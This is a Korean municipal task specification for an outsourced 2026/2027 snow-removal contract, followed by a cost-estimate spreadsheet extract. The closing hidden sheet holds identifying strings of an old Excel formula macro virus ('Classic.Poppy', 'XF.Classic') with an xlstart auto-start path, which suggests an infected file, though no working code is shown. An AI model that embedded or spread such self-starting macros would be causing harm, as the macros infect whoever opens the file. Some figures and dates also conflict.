나. 계약상대자
○ 장비 : 덤프트럭(15톤) 9대 이상, 백호(0.6㎥ 이상) 1대 이상
○ 인력 : 작업반장(상황요원) 1명, 운전원 10명 이상, 제설작업원 4명 이상
○ 기타 : 제설작업 현장사무실 설치 및 운영 등(세부사항 과업내용서 참조)
7. 용역범위
가. 관내 간선 및 주요지선도로 등에 대한 제설작업
○ 간선도로 108개 노선(167.62㎞) 중 검단지역 外
○ 15m이상 차도
과 업 내 용 서
제1조 (계약명) 이 계약명은 “2026/2027년 구 제설대책 민간대행 용역”이라 한다.
제2조 (총 칙) 이 계약은 발주처인 인천 서해구와 계약을 체결한 계약상대자 간의 민간대행 용역에 필요한 사항을 규정함을 목적으로 하며, 계약이행에 있어 신의와 성실의 원칙에 입각하여 이행한다.
※ “지방자치단체 입찰 및 계약 집행기준”에 따른다
제3조 (용어 정의) 이 계약에 사용하는 용어의 정의는 다음과 같다.
1. “계약자”라 함은 “발주처”와 “계약상대자”를 말한다.
2. “현장감독관”이라 함은 위 용역관리를 위해 서해구청장이 임명한 직원을 말한다.
3. “용역원”이라함은 이 계약 이행에 따른 제설차량 운전원, 작업원 등을 말한다.
제4조 (용역의 개념)
1. 자연재해대책법에 따른 “발주처”의 의무사항을 효율적으로 운영하기 위하여 “계약상대자”에게 제설작업을 민간대행 용역관리
2. “계약상대자”는 재해발생시(강설시 및 폭설예보) 긴급출동(30분이내) 할 수 있도록 항시 준비
3. 기타 “발주처”가 필요로 하는 업무
제5조 (계약기간) 계약기간은 착수일로부터 2026. 3. 15일로 하되, 상호 협의 하에 기간을 조정 할 수 있다.
제6조 (용역의 착수) “계약상대자”는 용역착수 3일전까지 용역수행에 필요한 다음 각 호의 제반서류를 제출하고 “발주처”의 승인을 받아야 하며, 용역수행에 필요한 인력 및 장비를 강설시 즉시 현장에 투입하여 본 과업지시서 각 조항에 따라 시행하여야 한다.
1. 착수계 및 현장대리인계(작업반장) 2. 용역수행 계획서(각종일지 양식 포함) 3. 용역수행 조직체계(비상연락망)
가. 작업반장 1명, 운전원(중기조종원 포함), 작업원 등(핸드폰 및 자택전화 기재)
4. 투입 용역원 이력사항 : 재직증명서(운전원, 작업원 등), 운전면허증(사본),투입차량 임대차 계약서 또는 자기차량 보유 증명서, 보험계약서(차량 및 용역)
※ 필요시(직원이 아닐 경우) 표준근로계약서
5. 아래 제설작업 투입장비에 대한 자체보유 증빙서류 및 임대차계약서
가. 덤프트럭(15.0ton) - 8대 이상 나. 백호우(0.6㎥이상) - 1대 이상, 제7조 (근무인원 및 비상연락망 관리체계)
1. “계약상대자”는 작업원 및 장비를 현장에 지체 없이 배치하여 제설작업 준비에 임하여야 하며, 필요에 따라 “발주처”가 장비와 용역원수의 증․감 조정을 요구하면 응하여야 한다.
가. 현장배치 인원 및 장비 1) 상시대기 ◦ 장비 : 덤프(15톤) 8대 2) 특보 예상시 ◦ 인원 : 상황요원(작업반장) 1명
◦ 장비 : 덤프(15톤) 8대, 굴삭기 1대(별도 요청시)
3) 경계단계(대설주의보)
◦ 인원 : 상황요원(작업반장)1명, 작업원 2~3명
◦ 장비 : 덤프(15톤) 8대, 굴삭기 1대(별도 요청시)
4) 비상단계(대설경보) ◦ 인원 : 상황요원 1명, 작업원 4명
◦ 장비 : 덤프(15톤) 8대, 굴삭기 1대(별도 요청시)
2. 현장대리인, 작업반장, 차량별 운전원은 서해구 재난안전대책본부의 강설예보에 따른 근무지시가 있을시 주요 지점에 대기하면서 실시간 기상변동 사항을 관측하여, 서해구청 ″현장감독관″에게 보고하여야 하며, 현장감독관의 지시에 따라 즉시(30분 이내) 제설작업이 가능하도록 장비 및 인원을 투입하여야 한다.
3. 작업장 및 현장사무실에 사용되는 공과금은 사용자 부담으로 한다.
4. 현장사무실(상황실)에는 유선전화기 2대, FAX 2대, 무선전화기 4대를 설치하여야 하며, 무전기(무선전화기)를 제설차량별 1대, 현장사무실 2대, 구청상황실 2대를 배치하여 비상연락망(제설 핫라인) 체계를 구축하여야 한다. 무전기를 제외한 모든 비용은 “계약상대자”의 부담으로 한다.
5. “계약상대자”는 현장용역 근무요원들의 조직표, 비상연락망을 작성하여 계약과 동시에 제출하여야 하며, 현장사무실(상황실) 전화기 앞 벽면에 부착 관리 하여야 한다.
6. 근무자의 변동사항이 발생될 시에는 즉시 그 변동사항 및 비상연락망을 정비하여 “발주처”에 지체없이 통보하여야 하며, 신규 근무자에 대하여는 교육 및 현장(제설작업노선)을 견학하여 사전숙지하고 제설작업에 차질이 발생하지 않도록 하여야 한다.
제8조 (근무수칙 및 시간)
1. 용역원 및 용역장비의 신속한 투입을 요구하는 용역으로 “계약상대자”는 지체없이 용역원 및 장비를 현장에 배치하여 “발주처”의 요구에 따라 수행하여야 한다.
2. 용역원 및 장비의 늑장 배치 또는 미 배치 등으로 인하여 발생되는 시민들의 인명 및 재산 등의 피해 발생시 자연재해대책법을 준용하여 “계약상대자”가 배상하여야 한다.
3. 본 용역 시행에 따른 작업지시 또는 요청사항은 긴급사항이므로, 팩스 또는 유 ․ 무선 통보한다.
4. 상황요원은 현장사무실(상황실), 작업반장외 기타 운전원 또는 작업원은
작업 장소에 근무함을 원칙으로 한다.
5. “계약상대자”는 작업대기 또는 작업의 착수 및 완료시 반드시 작업일지 또는 보고서를 작성하여 감독원의 확인을 받아야 한다.
6. 상황요원 근무시간은 주간 09:00 ~ 18:00, 야간 18:00 ~ 익일 09:00까지로한다.
7. 상황발생시 작업반장은 제설근무 및 작업진행, 기상 변동사항을 1시간 이내 간격으로 제출한다.(유선 및 fax)
제9조 (용역원의 자격 및 교체)
1. 용역원의 자격은 다음과 같다.
가. 현장대리인(책임자) : 현장을 총괄 지휘 할 수 있는 자
나. 덤프트럭운전원 : 해당 차량 면허소지자 이상
다. 중기조종원 : 해당 중기면허 소지자 이상
라. 상황요원 : 기상상황 수집 및 비상연락을 지휘 할 수 있는 자
마. 작 업 원 : 신체 건강한 자로 실시간 상황보고 및 제설전진기지 지휘(제설제 상차 등)를 할수 있는 자
2. 이 계약을 이행함에 있어 용역 업무를 수행하기 부적합하다고 판단되는 자는 “발주처”의 요청이 있으면 즉시 교체하여야 한다.
제10조 (용역원의 배치 및 근무방법)
1. 본 용역은 일정한 시간을 정하여 시행하는 용역이 아니고 강설예보 및 강설 등 기상청의 기상 예측(예보) 또는 자연현상에 따라 이에 대비하기 위하여 수행하는 용역으로서 안전사고예방 및 작업효율의 극대화를 위하여 용역원이 1일 8시간이상 근무 하도록 하여서는 안된다. 단, 제설작업의 원활한 추진을 위하여 필요하다고 판단될 때에는 초과근무를 하게 할 수 있다. 다만 용역원 1인당 1일 초과근무 시간은 2시간을 초과 할 수 없다.
2. 제설장비(우리구에서 제공한 장비 포함) 유지관리 소홀로 인하여 제설작업을 수행하지 못하는 경우 “계약상대자”는 즉시 대체 장비 또는 인력 등을 동원하여 제설작업을 시행하여야 한다.
3. 현장배치 인원 및 장비는 “발주처”에서 지정하는 장소에 대기 근무하여야 하며, 지정근무자에 한하여 용역비를 정산처리 한다.
4. 현장대리인은 평시에 덤프트럭운전원을 사전 교육하여 자신의 제설구간 노선을 인지한 상태로 제설작업에 투입하여야 한다. 제설구간노선 미인지로 인해 선탑자가 필요할 시에는 작업원을 투입하며 그에 대한 비용은 용역비에서 제외한다.
제11조 (대가의 산출방법)
1. 본 용역의 인건비에 대한 대가는 다음기준에 따라 산정 한다.
가. 06시~22시까지 근무자에 대하여는 주간근무 대가를 적용한다.
나. 22시~익일 06시까지 근무자에 대하여는 야간근무 대가를 적용한다.
다. 인력 및 장비에 대하여는 1일 최대 8시간을 기준으로 하여 대가를 산정한다.
라. 근무자는 작업장에 도착하여 감독공무원의 확인이 있는 시간부터 작업종료 시간까지를 근무시간으로 인정하며, 작업원 1인당 8시간을 초과 할 수 없다. 단, “발주처”의 승인이 있는 인력에 대하여는 2시간 범위 내에서 초과근무 시간을 인정한다.
마. 상시대기하는 제설차량에 대해서는 1일 8시간 상시대기를 인정한다. 단, 비상발령 소집되어 제설작업을 실시하는 날은 제외한다.
2. 폭설로 인한 제설장비(계약 장비 외) 추가에 따른 대가 지급은 ‘2021년 장비 임차 용역“ 계약 단가를 적용하여 산정한다.
제12조 (신원관리)
1. 용역원에 대한 개인별 인적사항등 신상을 철저히 파악하여 그 신원에 대한 책임을 지고 “발주처”가 필요로 할 시 즉시 교체 및 용역원에 대한 필요 자료를 제출하여야 한다.
2. 계약시 용역원 전원에 대한 명단(주민등록등본 각1통 첨부)을 제출하여야 한다.
제13조 (관리책임)
1. 별지1의 용역원 근무수칙을 준수하도록 사전 교육을 실시하여야 하며, 근무 중에 “발주처”가 시정을 요하는 사항은 조치하여야 한다.
2. 업무수행중 용역원이 고의 또는 과실로 인하여 선의의 제3자에게 재산 또는 인적 피해를 입혔을 경우 민․형사상의 모든 법적인 책임은 “계약상대자”가 진다.
3. 용역원 간의 야기되는 분쟁은 “계약상대자”가 책임을 진다.
제14조 (안전사고 처리)
1. “계약상대자”의 관리 소홀로 인한 안전사고 발생 시 피해자에게 전체 손해를 배상하고 일체의 민․형사상 청구권을 포기하겠다는 내용의 합의서를 받아 “발주처”에게 제출하여야 하며, 합의서 제출 시까지 “발주처”는 대금 지급을 보류 할 수 있다.
제15조 (근무복장 등)
1. “계약상대자”는 용역원에게 근무복 및 안전장비(안전모, 안전화 등)를 착용하게 한다.
2. 근무복 및 안전장비 등에 소요되는 비용은 “계약상대자”의 부담으로 한다.
제16조 (지체상금)
1. “발주기관”이 요청한 인원과 장비가 요구하는 장소에 강설예보시 요구가 있는 시각으로부터 60분 이내에, 강설 시에는 30분 이내에 도착하여 근무하지 않을 경우 “발주기관”은 지체 60분당 1일로 환산하여 계약금 25/1,000에 상당하는 지체상금을 대금지급(정산)시 “계약상대자”로부터 징수한다. (“예” 강설 시 120분 지체일 경우는 2일 지체상금 징수)
2. “계약상대자”가 제설장비 유지관리 소홀로 또는 “계약상대자”측의 사유로 인하여 제설작업을 수행하지 못하는 경우 대체장비 또는 인력을 동원하여 제설작업을 시행하는 시점까지 지체 60분당 1일로 환산하여 계약금의 25/1,000에 상당하는 지체상금을 대금지급(정산)시 “계약상대자”로부터
징수한다.
제17조 (용역비의 감액지급)
1. “계약상대자”는 “발주기관”으로부터 작업지시 후 예보시에는 60분이내에 강설시에는 30분 이내 근무지 및 작업장소에 도착하여 제설작업에 임하여야 하며, “계약상대자”의 응소지연으로 인한 교통혼란 및 제설작업에 차질이 발생할 시 제16조에 의거 지체상금 부과는 물론 자체인력(각과 기동반) 및 제3자로 하여금 대리 조치케 하고 “발주기관”은 이에 따른 손실비용 전부를 “계약상대자”의 계약금액에서 감하여 지급할 수 있다.
제18조 (권리의무의 양도금지)
1. “계약상대자”는 “발주기관”의 사전 서면 승낙 없이 이 계약상의 권리의무의 일부 또는 전부를 제3자에게 양도하거나 담보로 제공할 수 없다.
제19조 (계약의 해약)
1. “발주기관”은 다음 각호의 1에 해당된다고 인정할 때는 계약기간중이라도 즉시 이 계약을 해약할 수 있다.
① 다음 사유로 인한 해약시에는 제11조의 계약보증금은 “발주기관”에게 귀속되는 동시에 “계약상대자”는 “발주자”의 손해에 대해서도 그 배상 계약상대자가 책임지며 이의 신청이나 손해 배상을 청구할 수도 있다.
가. “발주기관”이 요청한 인원과 장비가 근무지역 및 작업장소에 2시간이상 2회이상 지체하였을 경우에는 재해상황임을 감안, 즉시 해약할 수 있다.
나. “발주기관”의 감독 및 지시하에 있어 “계약상대자” 또는 대리인 용역원 등이 “발주기관”의 감독 및 지시에 불응하거나 직무집행을 방해 또는 사기, 기타 부정행위의 흔적이 있을 때
다. “계약상대자”가 “발주기관”의 보안상 기밀을 외부에 누설하거나
누설하려고 하였을 때
라. “계약상대자”가 제3자에게 하도급을 하였거나, 제18조의 규정을
위반하여 권리 의무를 양도하거나 담보를 제공하였을 경우
마. “계약상대자”가 본 계약을 이행치 아니하였을 경우
② 다음 사유로 해약할 때는 “발주기관”은 위약금을 받지 않고, “계약상대자”는 이에 대하여 이의 신청을 하거나 손해배상을 청구할 수 없다.
가. “발주기관”이 더 이상 용역 계약의 필요성이 없을 때
나. “계약상대자”가 정당한 이유로 본 계약의 해약을 요구하며, “발주기관”이 그 정당성을 인정하였을 때
다. 위의 가, 나항에 의거 이 계약을 해약할 때는 “발주기관”은 기 공급분에 대하여 기성부분을 인정하여 기성고를 인정할 수 있다.
2. “발주기관”의 사유로 계약을 해약할 경우는 해약 즉시 “계약상대자”에게 통보한다.
제20조 (계약의 정산)
1. “발주기관”과 “계약상대자”는 본 용역 수행에 소요된 실근무 시간을 각 작업별로 분 단위까지 산정하여 누적 합산한다.
2. 제 1항에 따라 산정된 총 누적 작업 시간에 대하여 최종 대금 지금(정산) 시 [1시간미만/또는 특정 분 단위]는 절삭(버림)하여 적용하며, “발주기관”은 이에 따라 확정된 시간에 대한 용역비를 지급한다.
3. “계약상대자”는 작업별 투입 시간에 대한 객관적인 증빙자료(작업일지 등)를 철저히 관리하여야 하며, 정산 시 “발주기관”의 확인을 받아야한다.
제21조 (분쟁해결)
1. 과업내용서 상의 용어는 일반적인 통념에 따라 해석하며, 해석상의 차이가 있을 때에는 발주처의 의견에 따른다.
2. 본 과업과 관련한 분쟁이 발생할 경우에는 발주처와 계약상대자간의 합의에 의하여 해결하되, 합의가 이루어지지 않을 경우에는 발주처의 해석에 따르며, 소송이 발생할 경우에는 소송의 주된 사무소는 발주처의 소재지를 관할하는 법원으로 한다.
붙임 1. 용역원 근무수칙 1부.
2. 기타 일반조건(일반사항, 특별사항) 1부.
3. 제설작업 구역(용역) 현황 1부. 끝. 용역원 근무수칙
1. 본 용역의 근무자는 동절기근무로 인한 동상 등 피해가 발생하지 않는 작업복을 착용하고 “발주처”가 지정하는 장소에서 근무하여야 한다.
2. 본 용역 근무자는 근무시간을 지키고 지시받은 임무에 충실하여야 하며, 감독공무원의 지시사항에 대하여도 성실하게 이행하여야 한다.
3. 본 용역 근무자는 근무지 무단이탈, 일체의 사행위, 유기행위, 음주 및 고성방가 등을 하여서는 안된다.
4. 용역원은 지시받은 업무에 대하여 태만하거나 방관하여서는 아니되고, 즉시 지시사항을 이행하여야 한다.
5. 본 용역 근무자는 수시로 제설차량을 점검하여 유지관리에 철저를 기하여야 한다.
6. 본 용역 “계약상대자”는 본 용역 책임자를 지정하여 근무 개시 전 및 종료 후에 감독공무원이 근무자를 점검 할 수 있도록 사전 조치를 하여야 함은 물론 작업일지 또는 보고서를 제출하여 현장감독관의 확인을 받아야 한다.
7. 본 용역 근무자는 교대근무 시간을 철저히 이행하여 절대로 제설작업에 차질이 발생되지 않도록 하고, 근무자 교대시 작업진행 상황 등 제반사항에 대하여 인수인계를 철저히 하여야 한다.
8. 용역원은 신분증(주민등록증 등)을 항시 지참하고 근무해야 한다.
9. “계약상대자”의 책임자와 용역원은 본 근무수칙을 성실히 이행하여야 한다.
10. 용역 근무자는 현장 도착 시 근무상황부에 날인 하여야 하며, 근무시간은 날인시간으로부터 시작된다.
11. 용역 정산근거는 근무자가 직접 날인한 근무상황부를 근거로 정산처리 한다. 끝.
기타일반조건
□ 일 반 사 항
○ 계약과 동시 용역원들에게 근무 장소와 강설시 작업구간을 확인 숙지하도록 하고
제설장비 사용법 등에 대한 사전 교육을 실시하고 감독공무원에게 보고 하여야 한다.
○ 용역기간 중 현장대리인(책임자)은 상황관리에 만전을 기하여야 하며, 감독공무원
또는 서해구 재난안전대책본부의 지시에 따라 신속하고 성실하게 상황 전파를
하여야 한다.
○ 용역기간 중 현장대리인은 현장상황 및 기상예보에 관심을 가지고 근무에 임하
여야 하며, 용역원 및 장비 동원 가능 여부를 수시로 확인하여 상황발생시 제설작업에
차질이 발생되는 사례가 없도록 하여야 하며, 비상시 대체장비 및 인력을 파악
관리하여야 한다.
○ 현장대리인은 현장상황 및 본 용역과 관련된 사항에 대하여 감독공무원에게 수시로 보고하고 감독공무원 또는 서해구 재난안전대책본부로 부터 상황보고 요구가 있을 때에는 성실하게 보고 하여야한다.
○ 현장대리인은 감독원의 사전 승인 없이 현장을 이탈할 수 없다.
○ 운전원은 그날 작업상황을 일지로 작성하여 상황근무자에게 제출하여야 한다.
○ 상황근무자는 매일 상황일지를 작성 감독공무원의 확인을 받아야 한다.
○ 용역원들은 상황 근무자 및 감독공무원, 서해구 재난안전대책본부 요원의 지시에 따라 작업을 실시하고 작업 중 현장상황을 상황실 또는 서해구 재난안전대책 본부로 보고하여야 하며, 감독공무원 또는 서해구 재난안전대책본부로 부터 상황보고 요구가 있을 때에는 성실하게 상황을 보고 하여야 한다.
□ 특 별 사 항
○ “발주처”는 “계약상대자”에게 제설제(제설용소금 등), 제설제 살포기, 제설삽날을 무상으로 제공한다.
○ “계약상대자”는 가능한 범위에서 개인용 스마트폰을 이용한 제설업무 관리를 할 수 있도록 한다.
- 장비 규격 및 시스템 설치 등 세부 제반사항은 서해구와 협의 한다.
○ “계약상대자”는 무상으로 제공받은 장비에 대하여 유지관리에 철저를 기하도록 하고 제설제(제설용소금 등) 살포 완료 후 24간 이내에 세척을 실시하고 감독공무원의 확인을 받아야 한다.
○ “계약상대자”는 무상으로 제공받은 장비에 대하여 본 용역 준공일 3일전 까지 일체의 정비 및 세척을 완료하고 감독공무원의 확인을 받아 감독공무원이 요구하는 장소에 반납하여야 한다. 이에 소요되는 비용 일체는 “계약상대자”가 부담하여야 한다.
○ “계약상대자”는 용역 수행 기간 동안 본 용역에 현장대리인(책임자)을 지정하여 24시간 비상연락 체계를 구축하여 감독공무원 또는 서해구 재난안전대책본부의 지시사항을 이행하여야 한다.
○ “계약상대자”는 본 용역 수행 기간 중 일체의 안전사고가 발생되지 않도록 안전관리에 최선을 다하여야 하며, 사고 발생 시 사고에 대한 민․형사상의 모든 책임을 진다.
○ 작업중 도로상에서 운전 부주의로 도로시설물 등을 훼손시 “계약상대자”의 부담으로 보상 또는 원상복구 하여야 한다.
○ 본 계약기간은 추정기간 이므로 상호 협의하에 용역 수행 기간을 증․감 할 수 있다.
○ 본 용역과 관련하여 “계약상대자”가 동원한 장비에 대하여는 유지관리에 철저를 기하여 계약기간 동안 용역 수행에 지장이 없도록 하고, 이에 소요되는 비용은 “계약상대자”가 부담하여야 한다.
○ 본 용역 수행 기간중 “발주처”와 “계약상대자”는 보유장비 및 인력 등에 대하여 필요시 협의에 의거 무상지원 함으로서 원활한 제설작업이 추진될 수 있도록 협력하여야 한다.
○ “계약상대자”는 도로상에 설치된 제설자재보관함을 유지관리 하여야 한다.
○ “계약상대자”는 제설차량 및 부착물에 대해 의무적으로 보험을 가입하여야 한다.
○ “계약상대자”는 용역 수행 기간 중 감독공무원 또는 서해구 재난안전대책본부가 동원 요구한 장비 및 인력에 대하여는 지체 없이 지정한 장소에 배치하여야 한다.
○ “계약상대자”는 제설작업에 동원되는 차량에 대하여 반드시 해당 차량의 규격에 맞는 체인을 장착하여 운행토록 하여야 하며, 별도로 예비체인을 차량에 비치하여야 한다. 단, 적설 또는 결빙이 없는 도로를 운행하는 차량에 대하여는 체인을 장착하지 않아도 된다. 끝.
제설전진기지 구축 위치도
○ 서해구청사 앞 제2부지(심곡동 280번지)
설치위치
제설전진기지 구축 위치도 ○ 가좌동 550번지 일원 제설전진기지 구축 위치도
○ 제2외곽 하부, 북청라 I.C 하부[청운교일원]-경서동 1108번지
===== 공내역서(2026-2027 구(간선도로) 제설대책 민간대행용역).xlsx =====
[시트: VXXXXX]
[시트: 총괄내역서]
A: 총 괄 내 역 서
A: ○ 용역명 : 2026/2027년 구 제설대책 민간대행 용역
A: 공종 B: 규격 C: 수량 D: 단위 E: 재료비 G: 노무비 I: 경비 K: 합계 M: 비고
E: 단가 F: 금액 G: 단가 H: 금액 I: 단가 J: 금액 K: 단가 L: 금 액
A: 1.제설작업 C: 1 D: 식
A: 2.부대공 C: 1 D: 식
A: 순용역비계
A: 3.기타경비 E: 노무비의 0%
A: 1.산재보험료 C: 1 D: 식
A: 2.고용보험료 C: 1 D: 식
A: 3.건강보험료 C: 1 D: 식
A: 4.연금보험료 C: 1 D: 식
A: 5.노인장기요양보험료 C: 1 D: 식
A: 소
계
A: 4.일반관리비 B: 6% C: 1 D: 식
A: 5.이윤 B: 10% C: 1 D: 식
A: 공급가액
A: 6.부가가치세 B: 10% C: 1 D: 식
A: 도급비
A: 총용역비
[시트: 내역서]
A: 내
역
서
A: ○ 용역명 : 2026/2027년 구 제설대책 민간대행 용역 L: 0
A: 공종 B: 규격 C: 수량 D: 단위 E: 재료비 G: 노무비 I: 경비 K: 합계 M: 비고
E: 단가 F: 금액 G: 단가 H: 금액 I: 단가 J: 금액 K: 단가 L: 금 액
A: 1. 작업비
A: 1-1. 작업비(간선도로 제설)
A: 1-1-1. 덤프(15톤)
A: 제설작업 B: 주간(15톤) D: 시간
A: 제설작업 B: 야간(15톤) D: 시간
A: 소집대기(운전원포함) B: 주간 D: 시간
A: 소집대기(운전원포함) B: 야간 D: 시간
A: 상시대기 B: 8H(15톤) D: 시간
A: 1-1-2. 굴삭기(0.6㎥)
A: 제설작업(굴삭기) B: 주간(0.6㎥) D: 시간
A: 제설작업(굴삭기) B: 야간(0.6㎥) D: 시간
A: 소집대기(운전원포함) B: 주간 D: 시간
A: 소집대기(운전원포함) B: 야간 D: 시간
A: 1-1-3. 작업인력
A: 상황요원 B: 주간 D: 시간
A: 상황요원 B: 야간 D: 시간
A: 작업원 B: 주간 D: 시간
A: 작업원 B: 야간 D: 시간
A: 소
계
A: 2. 부대공
A: 살포기세척 D: 대
A: 제설재 운반 D: 시간
A: 소
계
A: 총
계 P: 0
[시트: VXXXXXXX]
A: 08제설대책용역 설계도서 - 4.XLS C: FALSE
A: Book1
A: C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. C: **Auto and On Sheet Starts Here**
A: #N/A C: FALSE
C: #NAME?
C: #N/A
A: Classic.Poppy by VicodinES C: #NAME?
A: With Lord Natas C: #NAME?
A: An Excel Formula Macro Virus (XF.Classic) C: #NAME?
A: Hydrocodone/APAP 10-650 For Your Computer C: FALSE
A: (C) The Narkotic Network 1998 C: FALSE
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A: #NAME? C: **Set Our Values and Paths**
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